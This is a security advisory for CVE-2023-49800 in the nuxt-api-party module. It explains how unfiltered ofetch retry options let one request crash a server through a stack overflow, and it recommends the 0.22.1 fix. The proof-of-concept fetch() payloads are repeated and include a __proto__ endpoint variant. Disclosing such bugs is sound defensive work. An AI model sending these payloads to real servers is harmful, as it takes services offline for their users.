Headline
GHSA-q6hx-3m4p-749h: DOS by abusing `fetchOptions.retry`.
Summary
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.
The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known.
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can build the size of the stack faster by using more complicated URIs
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
Impact
Full DOS, server is unusable during attack. Requires a single request.
Fix
Limit which options can be passed to ofetch.
Summary
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.
The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": “application/json” } })
We can use proto as a substitute for the endpoint if it is not known.
await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": “application/json” } })
We can build the size of the stack faster by using more complicated URIs
await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }), headers: { "Content-Type": “application/json” } })
Impact
Full DOS, server is unusable during attack. Requires a single request.
Fix
Limit which options can be passed to ofetch.
References
- GHSA-q6hx-3m4p-749h
- https://nvd.nist.gov/vuln/detail/CVE-2023-49800
Related news
`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.